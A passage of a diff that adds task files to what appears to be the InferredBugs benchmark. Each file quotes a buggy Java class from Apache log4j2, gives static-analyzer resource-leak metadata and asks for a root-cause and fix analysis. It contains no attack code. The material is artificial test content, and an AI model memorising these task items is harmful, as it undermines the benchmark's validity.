+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.layout;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+import org.apache.commons.csv.CSVFormat;
+import org.apache.commons.csv.CSVPrinter;
+import org.apache.commons.csv.QuoteMode;
+import org.apache.logging.log4j.core.Layout;
+import org.apache.logging.log4j.core.LogEvent;
+import org.apache.logging.log4j.core.config.Node;
+import org.apache.logging.log4j.core.config.plugins.Plugin;
+import org.apache.logging.log4j.core.config.plugins.PluginAttribute;
+import org.apache.logging.log4j.core.config.plugins.PluginFactory;
+import org.apache.logging.log4j.message.Message;
+import org.apache.logging.log4j.status.StatusLogger;
+
+/**
+ * A Comma-Separated Value (CSV) layout to log event parameters.
+ * The event message is currently ignored. 
+ * 
+ * <p>
+ * Best used with:
+ * </p>
+ * <p>
+ * {@code logger.debug(new ObjectArrayMessage(1, 2, "Bob"));}
+ * </p>
+ * 
+ * Depends on Apache Commons CSV 1.2.
+ * 
+ * @since 2.4
+ */
+@Plugin(name = "CsvParameterLayout", category = Node.CATEGORY, elementType = Layout.ELEMENT_TYPE, printObject = true)
+public class CsvParameterLayout extends AbstractCsvLayout {
+
+    private static final long serialVersionUID = 1L;
+
+    private static ThreadLocal<StringBuilder> strBuilder = newStringBuilderThreadLocal();
+    
+    public static AbstractCsvLayout createDefaultLayout() {
+        return new CsvParameterLayout(Charset.forName(DEFAULT_CHARSET), CSVFormat.valueOf(DEFAULT_FORMAT), null, null);
+    }
+
+    public static AbstractCsvLayout createLayout(final CSVFormat format) {
+        return new CsvParameterLayout(Charset.forName(DEFAULT_CHARSET), format, null, null);
+    }
+
+    @PluginFactory
+    public static AbstractCsvLayout createLayout(
+            // @formatter:off
+            @PluginAttribute(value = "format", defaultString = DEFAULT_FORMAT) final String format,
+            @PluginAttribute("delimiter") final Character delimiter,
+            @PluginAttribute("escape") final Character escape,
+            @PluginAttribute("quote") final Character quote,
+            @PluginAttribute("quoteMode") final QuoteMode quoteMode,
+            @PluginAttribute("nullString") final String nullString,
+            @PluginAttribute("recordSeparator") final String recordSeparator,
+            @PluginAttribute(value = "charset", defaultString = DEFAULT_CHARSET) final Charset charset,
+            @PluginAttribute("header") final String header,
+            @PluginAttribute("footer") final String footer)
+            // @formatter:on
+    {
+
+        final CSVFormat csvFormat = createFormat(format, delimiter, escape, quote, quoteMode, nullString, recordSeparator);
+        return new CsvParameterLayout(charset, csvFormat, header, footer);
+    }
+
+    public CsvParameterLayout(final Charset charset, final CSVFormat csvFormat, final String header, final String footer) {
+        super(charset, csvFormat, header, footer);
+    }
+
+    @Override
+    public String toSerializable(final LogEvent event) {
+        final Message message = event.getMessage();
+        final Object[] parameters = message.getParameters();
+        final StringBuilder buffer = prepareStringBuilder(strBuilder);
+        try {
+            // Revisit when 1.3 is out so that we do not need to create a new
+            // printer for each event.
+            // No need to close the printer.
+            final CSVPrinter printer = new CSVPrinter(buffer, getFormat());
+            printer.printRecord(parameters);
+            return buffer.toString();
+        } catch (final IOException e) {
+            StatusLogger.getLogger().error(message, e);
+            return getFormat().getCommentMarker() + " " + e;
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.CSVPrinter` acquired to `printer` by call to `new()` at line 97 is not released after line 98.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String CsvParameterLayout.toSerializable(LogEvent)
+
+### Procedure Id:
+org.apache.logging.log4j.core.layout.CsvParameterLayout.toSerializable(org.apache.logging.log4j.core.26bf55ed37099b11e50e8562fcc4740a
+
+### File:
+log4j-core/src/main/java/org/apache/logging/log4j/core/layout/CsvParameterLayout.java
+
+### Key:
+CsvParameterLayout.java|toSerializable|RESOURCE_LEAK
+
+### Node Key:
+729b19e05503d6470a9fb971e9a5d7c8
+
+### Hash:
+24895251081086233405307ba2b5623c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7914/instruction.md b/inferredbugs-7914/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8087a4f5d8f8f608ab483ef73134d7010af1b4f7
--- /dev/null
+++ b/inferredbugs-7914/instruction.md
@@ -0,0 +1,212 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 46
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.logging.log4j.streams;
+
+import static org.easymock.EasyMock.replay;
+import static org.easymock.EasyMock.verify;
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.StringWriter;
+import java.io.Writer;
+
+import org.easymock.EasyMock;
+import org.junit.Before;
+import org.junit.Test;
+
+public abstract class AbstractLoggerWriterTest extends AbstractStreamTest {
+    protected StringWriter wrapped;
+    protected Writer writer;
+
+    @Before
+    public void createStream() {
+        this.wrapped = createWriter();
+        this.writer = createWriterWrapper();
+    }
+
+    protected abstract StringWriter createWriter();
+
+    protected abstract Writer createWriterWrapper();
+
+    @Test
+    public void testClose_HasRemainingData() throws IOException {
+        this.writer.write(FIRST);
+        assertMessages();
+        this.writer.close();
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testClose_NoRemainingData() throws IOException {
+        this.writer.close();
+        assertMessages();
+        if (this.wrapped != null) {
+            assertEquals("", this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testFlush() throws IOException {
+        final OutputStream out = EasyMock.createMock(OutputStream.class);
+        out.flush(); // expect the flush to come through to the mocked OutputStream
+        out.close();
+        replay(out);
+
+        final LoggerOutputStream los = new LoggerOutputStream(out, getExtendedLogger(), LEVEL);
+        los.flush();
+        los.close();
+        verify(out);
+    }
+
+    @Test
+    public void testWrite_Character() throws Exception {
+        for (final char c : FIRST.toCharArray()) {
+            this.writer.write(c);
+            assertMessages();
+        }
+        this.writer.write('\n');
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_CharArray() throws Exception {
+        final char[] chars = FIRST.toCharArray();
+        this.writer.write(chars);
+        assertMessages();
+        this.writer.write('\n');
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_CharArray_Offset_Length() throws Exception {
+        final char[] chars = FIRST.toCharArray();
+        final int middle = chars.length / 2;
+        final int length = chars.length - middle;
+        final String right = new String(chars, middle, length);
+        this.writer.write(chars, middle, length);
+        assertMessages();
+        this.writer.write('\n');
+        assertMessages(right);
+        if (this.wrapped != null) {
+            assertEquals(FIRST.substring(middle, FIRST.length()) + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_IgnoresWindowsNewline() throws IOException {
+        this.writer.write(FIRST + "\r\n");
+        this.writer.write(LAST);
+        this.writer.close();
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + "\r\n" + LAST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_MultipleLines() throws IOException {
+        this.writer.write(FIRST + '\n' + LAST + '\n');
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n' + LAST + '\n', this.wrapped.toString());
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `LoggerOutputStream(...)` at line 73 is not released after line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractLoggerWriterTest.testFlush()
+
+### Procedure Id:
+org.apache.logging.log4j.streams.AbstractLoggerWriterTest.testFlush():void.0e4aef438480bc8be1ed7703970600dc
+
+### File:
+log4j-streams/src/test/java/org/apache/logging/log4j/streams/AbstractLoggerWriterTest.java
+
+### Key:
+AbstractLoggerWriterTest.java|testFlush|RESOURCE_LEAK
+
+### Node Key:
+a908b4223ca7d0afb8ea757ec9d1ac09
+
+### Hash:
+89595943b95bb04e71357ae7a2355ee8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7915/instruction.md b/inferredbugs-7915/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4d11ceeda38c41db03c0e241b241e94686f095ef
--- /dev/null
+++ b/inferredbugs-7915/instruction.md
@@ -0,0 +1,216 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 79
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.logging.log4j.io;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+
+import org.easymock.EasyMock;
+import org.junit.Before;
+import org.junit.Test;
+
+import static org.easymock.EasyMock.replay;
+import static org.easymock.EasyMock.verify;
+import static org.junit.Assert.*;
+
+public abstract class AbstractLoggerOutputStreamTest extends AbstractStreamTest {
+    protected OutputStream out;
+    protected ByteArrayOutputStream wrapped;
+
+    protected abstract ByteArrayOutputStream createOutputStream();
+
+    protected abstract OutputStream createOutputStreamWrapper();
+
+    @Before
+    public void createStream() {
+        this.wrapped = createOutputStream();
+        this.out = createOutputStreamWrapper();
+    }
+
+    @Test
+    public void testClose_HasRemainingData() throws IOException {
+        this.out.write(FIRST.getBytes());
+        assertMessages();
+        this.out.close();
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testClose_NoRemainingData() throws IOException {
+        this.out.close();
+        assertMessages();
+        if (this.wrapped != null) {
+            assertEquals("", this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testFlush() throws IOException {
+        final OutputStream out = EasyMock.createMock("out", OutputStream.class);
+        out.flush(); // expect the flush to come through to the mocked OutputStream
+        out.close();
+        replay(out);
+
+        final OutputStream filteredOut =
+            IoBuilder.forLogger(getExtendedLogger())
+                .filter(out)
+                .setLevel(LEVEL)
+                .buildOutputStream();
+        filteredOut.flush();
+        filteredOut.close();
+        verify(out);
+    }
+
+    @Test
+    public void testWrite_ByteArray() throws Exception {
+        final byte[] bytes = "byte[]".getBytes();
+        this.out.write(bytes);
+        assertMessages();
+        this.out.write('\n');
+        assertMessages("byte[]");
+        if (this.wrapped != null) {
+            assertEquals("byte[]\n", this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_ByteArray_Offset_Length() throws Exception {
+        final byte[] bytes = "byte[]".getBytes();
+        final int middle = bytes.length / 2;
+        final int length = bytes.length - middle;
+        final String right = new String(bytes, middle, length);
+        this.out.write(bytes, middle, length);
+        assertMessages();
+        this.out.write('\n');
+        assertMessages(right);
+        if (this.wrapped != null) {
+            assertEquals("byte[]".substring(middle, bytes.length) + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_IgnoresWindowsNewline() throws IOException {
+        this.out.write(FIRST.getBytes());
+        this.out.write("\r\n".getBytes());
+        this.out.write(LAST.getBytes());
+        this.out.close();
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + "\r\n" + LAST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_Int() throws Exception {
+        for (final byte b : "int".getBytes()) {
+            this.out.write(b);
+            assertMessages();
+        }
+        this.out.write('\n');
+        assertMessages("int");
+        if (this.wrapped != null) {
+            assertEquals("int" + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_MultipleLines() throws IOException {
+        this.out.write((FIRST + '\n' + LAST + '\n').getBytes());
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n' + LAST + '\n', this.wrapped.toString());
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `buildOutputStream()` at line 76 is not released after line 78.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractLoggerOutputStreamTest.testFlush()
+
+### Procedure Id:
+org.apache.logging.log4j.io.AbstractLoggerOutputStreamTest.testFlush():void.63fe97a54356d1648d61b407d8469c84
+
+### File:
+log4j-iostreams/src/test/java/org/apache/logging/log4j/io/AbstractLoggerOutputStreamTest.java
+
+### Key:
+AbstractLoggerOutputStreamTest.java|testFlush|RESOURCE_LEAK
+
+### Node Key:
+ba6daf65b8ec829a8ca35510289aa557
+
+### Hash:
+c9efbdf3fef2946bfe9cd8c76de9430d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7924/instruction.md b/inferredbugs-7924/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..068c67a654a3b2ec7beb404af7b977b443905a19
--- /dev/null
+++ b/inferredbugs-7924/instruction.md
@@ -0,0 +1,217 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 84
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.logging.log4j.io;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.StringWriter;
+import java.io.Writer;
+
+import org.easymock.EasyMock;
+import org.junit.Before;
+import org.junit.Test;
+
+import static org.easymock.EasyMock.replay;
+import static org.easymock.EasyMock.verify;
+import static org.junit.Assert.*;
+
+public abstract class AbstractLoggerWriterTest extends AbstractStreamTest {
+    protected StringWriter wrapped;
+    protected Writer writer;
+
+    @Before
+    public void createStream() {
+        this.wrapped = createWriter();
+        this.writer = createWriterWrapper();
+    }
+
+    protected abstract StringWriter createWriter();
+
+    protected abstract Writer createWriterWrapper();
+
+    @Test
+    public void testClose_HasRemainingData() throws IOException {
+        this.writer.write(FIRST);
+        assertMessages();
+        this.writer.close();
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testClose_NoRemainingData() throws IOException {
+        this.writer.close();
+        assertMessages();
+        if (this.wrapped != null) {
+            assertEquals("", this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testFlush() throws IOException {
+        final OutputStream out = EasyMock.createMock(OutputStream.class);
+        out.flush(); // expect the flush to come through to the mocked OutputStream
+        out.close();
+        replay(out);
+
+        final OutputStream filteredOut =
+            IoBuilder.forLogger(getExtendedLogger())
+                .filter(out)
+                .setLevel(LEVEL)
+                .buildOutputStream();
+        filteredOut.flush();
+        filteredOut.close();
+        verify(out);
+    }
+
+    @Test
+    public void testWrite_Character() throws Exception {
+        for (final char c : FIRST.toCharArray()) {
+            this.writer.write(c);
+            assertMessages();
+        }
+        this.writer.write('\n');
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_CharArray() throws Exception {
+        final char[] chars = FIRST.toCharArray();
+        this.writer.write(chars);
+        assertMessages();
+        this.writer.write('\n');
+        assertMessages(FIRST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_CharArray_Offset_Length() throws Exception {
+        final char[] chars = FIRST.toCharArray();
+        final int middle = chars.length / 2;
+        final int length = chars.length - middle;
+        final String right = new String(chars, middle, length);
+        this.writer.write(chars, middle, length);
+        assertMessages();
+        this.writer.write('\n');
+        assertMessages(right);
+        if (this.wrapped != null) {
+            assertEquals(FIRST.substring(middle, FIRST.length()) + '\n', this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_IgnoresWindowsNewline() throws IOException {
+        this.writer.write(FIRST + "\r\n");
+        this.writer.write(LAST);
+        this.writer.close();
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + "\r\n" + LAST, this.wrapped.toString());
+        }
+    }
+
+    @Test
+    public void testWrite_MultipleLines() throws IOException {
+        this.writer.write(FIRST + '\n' + LAST + '\n');
+        assertMessages(FIRST, LAST);
+        if (this.wrapped != null) {
+            assertEquals(FIRST + '\n' + LAST + '\n', this.wrapped.toString());
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.logging.log4j.io.LoggerFilterOutputStream` acquired by call to `buildOutputStream()` at line 77 is not released after line 81.
+**Note**: potential exception at line 78
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void AbstractLoggerWriterTest.testFlush()
+
+### Procedure Id:
+org.apache.logging.log4j.io.AbstractLoggerWriterTest.testFlush():void.714dc95ae9aa7e08c3a3e68c8bd8ae5a
+
+### File:
+log4j-iostreams/src/test/java/org/apache/logging/log4j/io/AbstractLoggerWriterTest.java
+
+### Key:
+AbstractLoggerWriterTest.java|testFlush|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+5425067216ba8af7ee8c4082f1e398fb
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7925/instruction.md b/inferredbugs-7925/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..131f5fcf6878a707099e3e536e63c883fa14e2b4
--- /dev/null
+++ b/inferredbugs-7925/instruction.md
@@ -0,0 +1,326 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 24
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.jmx;
+
+import java.beans.PropertyChangeEvent;
+import java.beans.PropertyChangeListener;
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintWriter;
+import java.io.Reader;
+import java.io.StringWriter;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.charset.Charset;
+import java.util.Map;
+import java.util.concurrent.Executor;
+import java.util.concurrent.atomic.AtomicLong;
+import javax.management.MBeanNotificationInfo;
+import javax.management.Notification;
+import javax.management.NotificationBroadcasterSupport;
+import javax.management.ObjectName;
+
+import org.apache.logging.log4j.core.LoggerContext;
+import org.apache.logging.log4j.core.config.Configuration;
+import org.apache.logging.log4j.core.config.ConfigurationFactory;
+import org.apache.logging.log4j.core.config.ConfigurationFactory.ConfigurationSource;
+import org.apache.logging.log4j.core.helpers.Assert;
+import org.apache.logging.log4j.core.helpers.Charsets;
+import org.apache.logging.log4j.status.StatusLogger;
+
+/**
+ * Implementation of the {@code LoggerContextAdminMBean} interface.
+ */
+public class LoggerContextAdmin extends NotificationBroadcasterSupport
+        implements LoggerContextAdminMBean, PropertyChangeListener {
+    private static final int PAGE = 4 * 1024;
+    private static final int TEXT_BUFFER = 64 * 1024;
+    private static final int BUFFER_SIZE = 2048;
+    private static final StatusLogger LOGGER = StatusLogger.getLogger();
+
+    private final AtomicLong sequenceNo = new AtomicLong();
+    private final ObjectName objectName;
+    private final LoggerContext loggerContext;
+    private String customConfigText;
+
+    /**
+     * Constructs a new {@code LoggerContextAdmin} with the {@code Executor} to
+     * be used for sending {@code Notification}s asynchronously to listeners.
+     *
+     * @param executor used to send notifications asynchronously
+     * @param loggerContext the instrumented object
+     */
+    public LoggerContextAdmin(final LoggerContext loggerContext, final Executor executor) {
+        super(executor, createNotificationInfo());
+        this.loggerContext = Assert.isNotNull(loggerContext, "loggerContext");
+        try {
+            final String ctxName = Server.escape(loggerContext.getName());
+            final String name = String.format(PATTERN, ctxName);
+            objectName = new ObjectName(name);
+        } catch (final Exception e) {
+            throw new IllegalStateException(e);
+        }
+        loggerContext.addPropertyChangeListener(this);
+    }
+
+    private static MBeanNotificationInfo createNotificationInfo() {
+        final String[] notifTypes = new String[] {//
+                NOTIF_TYPE_RECONFIGURED };
+        final String name = Notification.class.getName();
+        final String description = "Configuration reconfigured";
+        return new MBeanNotificationInfo(notifTypes, name, description);
+    }
+
+    @Override
+    public String getStatus() {
+        return loggerContext.getStatus().toString();
+    }
+
+    @Override
+    public String getName() {
+        return loggerContext.getName();
+    }
+
+    private Configuration getConfig() {
+        return loggerContext.getConfiguration();
+    }
+
+    @Override
+    public String getConfigLocationURI() {
+        if (loggerContext.getConfigLocation() != null) {
+            return String.valueOf(loggerContext.getConfigLocation());
+        }
+        if (getConfigName() != null) {
+            return String.valueOf(new File(getConfigName()).toURI());
+        }
+        return "";
+    }
+
+    @Override
+    public void setConfigLocationURI(final String configLocation)
+            throws URISyntaxException, IOException {
+        LOGGER.debug("---------");
+        LOGGER.debug("Remote request to reconfigure using location "
+                + configLocation);
+        final URI uri = new URI(configLocation);
+
+        // validate the location first: invalid location will result in
+        // default configuration being configured, try to avoid that...
+        uri.toURL().openStream().close();
+
+        loggerContext.setConfigLocation(uri);
+        LOGGER.debug("Completed remote request to reconfigure.");
+    }
+
+    @Override
+    public void propertyChange(final PropertyChangeEvent evt) {
+        if (!LoggerContext.PROPERTY_CONFIG.equals(evt.getPropertyName())) {
+            return;
+        }
+        // erase custom text if new configuration was read from a location
+        if (loggerContext.getConfiguration().getName() != null) {
+            customConfigText = null;
+        }
+        final Notification notif = new Notification(NOTIF_TYPE_RECONFIGURED,
+                getObjectName(), nextSeqNo(), now(), null);
+        sendNotification(notif);
+    }
+
+    @Override
+    public String getConfigText() throws IOException {
+        return getConfigText(Charsets.UTF_8.name());
+    }
+
+    @Override
+    public String getConfigText(final String charsetName) throws IOException {
+        if (customConfigText != null) {
+            return customConfigText;
+        }
+        try {
+            final Charset charset = Charset.forName(charsetName);
+            return readContents(new URI(getConfigLocationURI()), charset);
+        } catch (final Exception ex) {
+            final StringWriter sw = new StringWriter(BUFFER_SIZE);
+            ex.printStackTrace(new PrintWriter(sw));
+            return sw.toString();
+        }
+    }
+
+    @Override
+    public void setConfigText(final String configText, final String charsetName) {
+        final String old = customConfigText;
+        customConfigText = Assert.isNotNull(configText, "configText");
+        LOGGER.debug("---------");
+        LOGGER.debug("Remote request to reconfigure from config text.");
+
+        try {
+            final InputStream in = new ByteArrayInputStream(
+                    configText.getBytes(charsetName));
+            final ConfigurationSource source = new ConfigurationSource(in);
+            final Configuration updated = ConfigurationFactory.getInstance()
+                    .getConfiguration(source);
+            loggerContext.start(updated);
+            LOGGER.debug("Completed remote request to reconfigure from config text.");
+        } catch (final Exception ex) {
+            customConfigText = old;
+            final String msg = "Could not reconfigure from config text";
+            LOGGER.error(msg, ex);
+            throw new IllegalArgumentException(msg, ex);
+        }
+    }
+
+    private String readContents(final URI uri, final Charset charset) throws IOException {
+        InputStream in = null;
+        try {
+            in = uri.toURL().openStream();
+            final Reader reader = new InputStreamReader(in, charset);
+            final StringBuilder result = new StringBuilder(TEXT_BUFFER);
+            final char[] buff = new char[PAGE];
+            int count = -1;
+            while ((count = reader.read(buff)) >= 0) {
+                result.append(buff, 0, count);
+            }
+            return result.toString();
+        } finally {
+            try {
+                in.close();
+            } catch (final Exception ignored) {
+                // ignored
+            }
+        }
+    }
+
+    @Override
+    public String getConfigName() {
+        return getConfig().getName();
+    }
+
+    @Override
+    public String getConfigClassName() {
+        return getConfig().getClass().getName();
+    }
+
+    @Override
+    public String getConfigFilter() {
+        return String.valueOf(getConfig().getFilter());
+    }
+
+    @Override
+    public String getConfigMonitorClassName() {
+        return getConfig().getConfigurationMonitor().getClass().getName();
+    }
+
+    @Override
+    public Map<String, String> getConfigProperties() {
+        return getConfig().getProperties();
+    }
+
+    /**
+     * Returns the {@code ObjectName} of this mbean.
+     *
+     * @return the {@code ObjectName}
+     * @see LoggerContextAdminMBean#PATTERN
+     */
+    public ObjectName getObjectName() {
+        return objectName;
+    }
+
+    private long nextSeqNo() {
+        return sequenceNo.getAndIncrement();
+    }
+
+    private long now() {
+        return System.currentTimeMillis();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
